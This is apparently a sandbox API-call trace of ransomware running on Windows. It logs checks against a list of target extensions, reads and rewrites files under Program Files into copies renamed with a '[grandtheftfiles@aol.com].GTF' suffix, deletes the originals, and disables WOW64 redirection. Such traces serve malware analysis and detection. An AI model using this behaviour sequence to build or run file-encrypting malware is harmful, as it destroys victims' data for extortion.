	[0184.753] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0184.753] lstrlenW (lpString=".xlsx") returned 5
	[0184.753] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1
	[0184.753] lstrlenW (lpString=".ppt") returned 4
	[0184.753] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0184.753] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188587.WMF") returned 68
	[0184.753] lstrlenW (lpString=".zip") returned 4
	[0184.753] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0184.753] lstrlenW (lpString=".rar") returned 4
	[0184.753] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0184.753] lstrlenW (lpString=".bz2") returned 4
	[0184.753] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0184.753] lstrlenW (lpString=".7z") returned 3
	[0184.753] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0184.753] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188587.WMF") returned 68
	[0184.753] lstrlenW (lpString=".dbf") returned 4
	[0184.753] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0184.753] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188587.WMF") returned 68
	[0184.753] lstrlenW (lpString=".1cd") returned 4
	[0184.753] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0184.753] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188587.WMF") returned 68
	[0184.753] lstrlenW (lpString=".jpg") returned 4
	[0184.753] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0184.754] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0184.754] lstrlenW (lpString="J0188667.WMF") returned 12
	[0184.754] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188667.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0188667.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344
	[0184.754] GetFileSizeEx (in: hFile=0x344, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=16030) returned 1
	[0184.754] CloseHandle (hObject=0x344) returned 1
	[0184.754] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188667.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0188667.wmf")) returned 0x220
	[0184.754] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188667.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0188667.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0184.755] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188667.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0188667.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344
	[0184.755] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.755] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.755] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188667.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0188667.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c
	[0184.756] GetLastError () returned 0x0
	[0184.756] ReadFile (in: hFile=0x344, lpBuffer=0x3cc1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesRead=0x324fecc*=0x3e9e, lpOverlapped=0x0) returned 1
	[0184.758] WriteFile (in: hFile=0x34c, lpBuffer=0x3cc1020*, nNumberOfBytesToWrite=0x3ea0, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesWritten=0x324fc94*=0x3ea0, lpOverlapped=0x0) returned 1
	[0184.759] ReadFile (in: hFile=0x344, lpBuffer=0x3cc1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1
	[0184.759] WriteFile (in: hFile=0x34c, lpBuffer=0x3cc1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1
	[0184.759] SetEndOfFile (hFile=0x34c) returned 1
	[0184.760] CloseHandle (hObject=0x34c) returned 1
	[0184.760] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.760] SetEndOfFile (hFile=0x344) returned 1
	[0184.762] CloseHandle (hObject=0x344) returned 1
	[0184.762] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188667.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0184.763] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188667.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0188667.wmf")) returned 1
	[0184.763] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188667.WMF") returned 68
	[0184.763] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188667.WMF") returned 68
	[0184.764] lstrlenW (lpString=".doc") returned 4
	[0184.764] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0184.764] lstrlenW (lpString=".docx") returned 5
	[0184.764] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1
	[0184.764] lstrlenW (lpString=".pdf") returned 4
	[0184.764] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0184.764] lstrlenW (lpString=".xls") returned 4
	[0184.764] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0184.764] lstrlenW (lpString=".xlsx") returned 5
	[0184.764] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1
	[0184.764] lstrlenW (lpString=".ppt") returned 4
	[0184.764] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0184.764] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188667.WMF") returned 68
	[0184.764] lstrlenW (lpString=".zip") returned 4
	[0184.764] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0184.764] lstrlenW (lpString=".rar") returned 4
	[0184.764] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0184.764] lstrlenW (lpString=".bz2") returned 4
	[0184.764] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0184.764] lstrlenW (lpString=".7z") returned 3
	[0184.764] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0184.764] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188667.WMF") returned 68
	[0184.764] lstrlenW (lpString=".dbf") returned 4
	[0184.764] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0184.764] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188667.WMF") returned 68
	[0184.764] lstrlenW (lpString=".1cd") returned 4
	[0184.764] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0184.764] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188667.WMF") returned 68
	[0184.764] lstrlenW (lpString=".jpg") returned 4
	[0184.764] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0184.764] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188667.WMF") returned 68
	[0184.764] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188667.WMF") returned 68
	[0184.764] lstrlenW (lpString=".doc") returned 4
	[0184.764] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0184.765] lstrlenW (lpString=".docx") returned 5
	[0184.765] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1
	[0184.765] lstrlenW (lpString=".pdf") returned 4
	[0184.765] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0184.765] lstrlenW (lpString=".xls") returned 4
	[0184.765] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0184.765] lstrlenW (lpString=".xlsx") returned 5
	[0184.765] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1
	[0184.765] lstrlenW (lpString=".ppt") returned 4
	[0184.765] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0184.765] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188667.WMF") returned 68
	[0184.765] lstrlenW (lpString=".zip") returned 4
	[0184.765] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0184.765] lstrlenW (lpString=".rar") returned 4
	[0184.872] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0184.872] lstrlenW (lpString=".bz2") returned 4
	[0184.872] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0184.872] lstrlenW (lpString=".7z") returned 3
	[0184.872] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0184.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188667.WMF") returned 68
	[0184.872] lstrlenW (lpString=".dbf") returned 4
	[0184.872] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0184.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188667.WMF") returned 68
	[0184.872] lstrlenW (lpString=".1cd") returned 4
	[0184.872] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0184.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188667.WMF") returned 68
	[0184.872] lstrlenW (lpString=".jpg") returned 4
	[0184.872] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0184.872] lstrlenW (lpString=".id-") returned 4
	[0184.873] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x625860 | out: hHeap=0x5a0000) returned 1
	[0184.873] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x622a38 | out: hHeap=0x5a0000) returned 1
	[0184.873] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3a00748 | out: hHeap=0x5a0000) returned 1
	[0184.874] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3a10750 | out: hHeap=0x5a0000) returned 1
	[0184.875] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3cc1020 | out: hHeap=0x5a0000) returned 1
	[0184.880] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x625788 | out: hHeap=0x5a0000) returned 1
	[0184.880] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x10) returned 0x41bc978
	[0184.880] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x41bc978, Size=0x20) returned 0x41c0728
	[0184.880] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x10) returned 0x41bc978
	[0184.880] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x41bc978, Size=0x20) returned 0x41c07a0
	[0184.880] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x77950000
	[0184.880] GetProcAddress (hModule=0x77950000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x77966b30
	[0184.881] Wow64DisableWow64FsRedirection (in: OldValue=0x324ff50 | out: OldValue=0x324ff50*=0x1) returned 1
	[0184.881] lstrlenW (lpString="kernel32.dll") returned 12
	[0184.881] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x41c07a0 | out: hHeap=0x5a0000) returned 1
	[0184.881] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30
	[0184.881] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x41c0728 | out: hHeap=0x5a0000) returned 1

Thread:
	id = 45
	os_tid = 0xe18

	[0152.791] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x10000) returned 0x3a20758
	[0152.791] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x10000) returned 0x3a30760
	[0152.792] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x10) returned 0x6257a0
	[0152.792] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x6) returned 0x622a48
	[0152.792] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x10) returned 0x625878
	[0152.792] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x100000) returned 0x3dd4020
	[0152.795] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x10) returned 0x6257b8
	[0152.795] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x6257b8, Size=0x20) returned 0x5dde80
	[0152.795] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x10) returned 0x6258d8
	[0152.795] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x6258d8, Size=0x20) returned 0x5ddfe8
	[0152.795] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x77950000
	[0152.795] GetProcAddress (hModule=0x77950000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x77966b30
	[0152.795] Wow64DisableWow64FsRedirection (in: OldValue=0x338ff50 | out: OldValue=0x338ff50*=0x0) returned 1
	[0152.795] lstrlenW (lpString="kernel32.dll") returned 12
	[0152.795] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5dde80 | out: hHeap=0x5a0000) returned 1
	[0152.796] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30
	[0152.796] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5ddfe8 | out: hHeap=0x5a0000) returned 1
	[0152.796] Sleep (dwMilliseconds=0x64) 
	[0153.123] Sleep (dwMilliseconds=0x64) 
	[0153.335] Sleep (dwMilliseconds=0x64) 
	[0153.652] Sleep (dwMilliseconds=0x64) 
	[0153.919] lstrcmpiW (lpString1=".xml", lpString2=".GTF") returned 1
	[0153.922] lstrlenW (lpString="Alphabet.xml") returned 12
	[0153.922] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d8
	[0154.001] GetFileSizeEx (in: hFile=0x3d8, lpFileSize=0x338ff14 | out: lpFileSize=0x338ff14*=791421) returned 1
	[0154.002] CloseHandle (hObject=0x3d8) returned 1
	[0154.002] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml")) returned 0x20
	[0154.002] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0154.002] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0154.002] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63
	[0154.002] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63
	[0154.002] lstrlenW (lpString=".doc") returned 4
	[0154.002] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0154.002] lstrlenW (lpString=".docx") returned 5
	[0154.002] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1
	[0154.002] lstrlenW (lpString=".pdf") returned 4
	[0154.002] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0154.002] lstrlenW (lpString=".xls") returned 4
	[0154.002] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0154.002] lstrlenW (lpString=".xlsx") returned 5
	[0154.002] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1
	[0154.002] lstrlenW (lpString=".ppt") returned 4
	[0154.002] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0154.002] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63
	[0154.002] lstrlenW (lpString=".zip") returned 4
	[0154.002] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0154.002] lstrlenW (lpString=".rar") returned 4
	[0154.002] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0154.002] lstrlenW (lpString=".bz2") returned 4
	[0154.002] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0154.002] lstrlenW (lpString=".7z") returned 3
	[0154.003] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0154.003] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63
	[0154.003] lstrlenW (lpString=".dbf") returned 4
	[0154.003] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0154.003] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63
	[0154.003] lstrlenW (lpString=".1cd") returned 4
	[0154.003] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0154.003] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63
	[0154.003] lstrlenW (lpString=".jpg") returned 4
	[0154.003] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0154.003] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63
	[0154.003] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63
	[0154.003] lstrlenW (lpString=".doc") returned 4
	[0154.003] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0154.003] lstrlenW (lpString=".docx") returned 5
	[0154.003] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1
	[0154.003] lstrlenW (lpString=".pdf") returned 4
	[0154.003] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0154.003] lstrlenW (lpString=".xls") returned 4
	[0154.003] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0154.003] lstrlenW (lpString=".xlsx") returned 5
	[0154.003] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1
	[0154.003] lstrlenW (lpString=".ppt") returned 4
	[0154.003] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0154.003] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63
	[0154.003] lstrlenW (lpString=".zip") returned 4
	[0154.003] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0154.003] lstrlenW (lpString=".rar") returned 4
	[0154.003] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0154.003] lstrlenW (lpString=".bz2") returned 4
	[0154.003] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0154.003] lstrlenW (lpString=".7z") returned 3
	[0154.003] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0154.003] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63
	[0154.003] lstrlenW (lpString=".dbf") returned 4
	[0154.003] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0154.004] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63
	[0154.004] lstrlenW (lpString=".1cd") returned 4
	[0154.004] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0154.004] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63
	[0154.004] lstrlenW (lpString=".jpg") returned 4
	[0154.004] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0154.004] lstrcmpiW (lpString1=".avi", lpString2=".GTF") returned -1
	[0154.004] lstrlenW (lpString="delete.avi") returned 10
	[0154.004] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\delete.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d8
	[0154.004] GetFileSizeEx (in: hFile=0x3d8, lpFileSize=0x338ff14 | out: lpFileSize=0x338ff14*=208408) returned 1
	[0154.004] CloseHandle (hObject=0x3d8) returned 1
	[0154.005] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\delete.avi")) returned 0x20
	[0154.005] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\delete.avi.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0154.005] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\delete.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0154.005] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi") returned 67
	[0154.005] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi") returned 67
	[0154.005] lstrlenW (lpString=".doc") returned 4
	[0154.005] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1
	[0154.005] lstrlenW (lpString=".docx") returned 5
	[0154.005] lstrcmpiW (lpString1=".docx", lpString2="e.avi") returned -1
	[0154.005] lstrlenW (lpString=".pdf") returned 4
	[0154.005] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1
	[0154.005] lstrlenW (lpString=".xls") returned 4
	[0154.005] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1
	[0154.005] lstrlenW (lpString=".xlsx") returned 5
	[0154.005] lstrcmpiW (lpString1=".xlsx", lpString2="e.avi") returned -1
	[0154.005] lstrlenW (lpString=".ppt") returned 4
	[0154.005] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1
	[0154.005] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi") returned 67
	[0154.005] lstrlenW (lpString=".zip") returned 4
	[0154.005] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1
	[0154.005] lstrlenW (lpString=".rar") returned 4
	[0154.005] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1
	[0154.005] lstrlenW (lpString=".bz2") returned 4
	[0154.005] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1
	[0154.005] lstrlenW (lpString=".7z") returned 3
	[0154.005] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1
	[0154.005] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi") returned 67
	[0154.005] lstrlenW (lpString=".dbf") returned 4
	[0154.005] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1
	[0154.005] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi") returned 67
	[0154.005] lstrlenW (lpString=".1cd") returned 4
	[0154.005] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1
	[0154.006] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi") returned 67
	[0154.006] lstrlenW (lpString=".jpg") returned 4
	[0154.006] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1
	[0154.006] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi") returned 67
	[0154.006] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi") returned 67
	[0154.006] lstrlenW (lpString=".doc") returned 4
	[0154.006] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1
	[0154.006] lstrlenW (lpString=".docx") returned 5
	[0154.006] lstrcmpiW (lpString1=".docx", lpString2="e.avi") returned -1
	[0154.006] lstrlenW (lpString=".pdf") returned 4
	[0154.006] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1
	[0154.006] lstrlenW (lpString=".xls") returned 4
	[0154.006] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1
	[0154.006] lstrlenW (lpString=".xlsx") returned 5
	[0154.006] lstrcmpiW (lpString1=".xlsx", lpString2="e.avi") returned -1
	[0154.006] lstrlenW (lpString=".ppt") returned 4
	[0154.006] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1
	[0154.006] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi") returned 67
	[0154.006] lstrlenW (lpString=".zip") returned 4
	[0154.006] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1
	[0154.006] lstrlenW (lpString=".rar") returned 4
	[0154.006] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1
	[0154.006] lstrlenW (lpString=".bz2") returned 4
	[0154.006] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1
	[0154.006] lstrlenW (lpString=".7z") returned 3
	[0154.006] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1
	[0154.006] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi") returned 67
	[0154.006] lstrlenW (lpString=".dbf") returned 4
	[0154.006] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1
	[0154.006] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi") returned 67
	[0154.006] lstrlenW (lpString=".1cd") returned 4
	[0154.006] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1
	[0154.006] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi") returned 67
	[0154.006] lstrlenW (lpString=".jpg") returned 4
	[0154.006] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1
	[0154.007] lstrcmpiW (lpString1=".avi", lpString2=".GTF") returned -1
	[0154.007] lstrlenW (lpString="join.avi") returned 8
	[0154.007] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\join.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d8
